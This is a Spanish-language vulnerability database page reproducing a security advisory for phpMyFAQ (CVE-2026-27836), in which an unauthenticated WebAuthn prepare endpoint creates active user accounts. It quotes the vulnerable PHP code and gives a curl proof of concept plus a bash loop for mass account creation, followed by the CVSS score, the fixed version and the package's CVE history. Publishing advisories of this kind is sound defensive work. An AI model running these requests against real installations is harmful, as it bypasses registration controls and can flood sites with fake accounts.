Alta

phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint

  • Publicada: 27.02.2026
  • Actualizado: 11.10.2026 10:22

Summary

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

php
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {
            $this->user->createUser($username);
            $this->user->setStatus(status: 'active');
            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
            $this->user->setUserData([
                'display_name' => $username,
                'email' => $username,
            ]);

The endpoint:

  1. Accepts any POST request with a JSON username field
  2. If the username doesn't exist, creates a new active user account
  3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
  4. Does NOT check if registration is enabled (security.enableRegistration)
  5. Does NOT verify CSRF tokens
  6. Does NOT require captcha validation
  7. Has no rate limiting

PoC

bash
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"spam_user_$i"}" &
done

Impact

  • Registration bypass: Accounts created even when self-registration is disabled
  • Username squatting: Reserve usernames before legitimate users
  • Database exhaustion: Create millions of fake active accounts (DoS)
  • User enumeration: Different responses for existing vs new usernames
  • Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer thorsten/phpmyfaq < 4.0.18 4.0.18

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Debilidad (CWE)
CWE-862
Plataforma
Composer
Paquete
thorsten/phpmyfaq
Publicada
27.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-w22q-m2fm-x9f4 - CC BY 4.0

Historial de vulnerabilidades: thorsten/phpmyfaq

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (112) en el archivo
Entradas en total
112
Primera → última
05.2022 09.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 8
  • Alta 36
  • Media 67
  • Baja 1

Divulgaciones por año

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Gravedad:
  1. Alta · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Alta · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Alta · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Alta · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint esta entrada
    Alta · 7.5 CVE-2026-27836 < 4.0.18 4.0.18
  6. Alta · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Alta · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. Alta · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. Alta · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. Alta · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Crítica · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Crítica · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. Alta · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. Alta · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. Alta · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. Alta · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Crítica · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Crítica · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. Alta · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. Alta · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  21. Crítica · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
  22. Alta · 7.5 CVE-2022-4409 < 3.1.9 3.1.9
  23. Crítica · 9.8 CVE-2022-3754 < 3.1.8 3.1.8
  24. Alta · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha
  25. Alta · 8.8 CVE-2018-16650 < 2.9.11 2.9.11

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.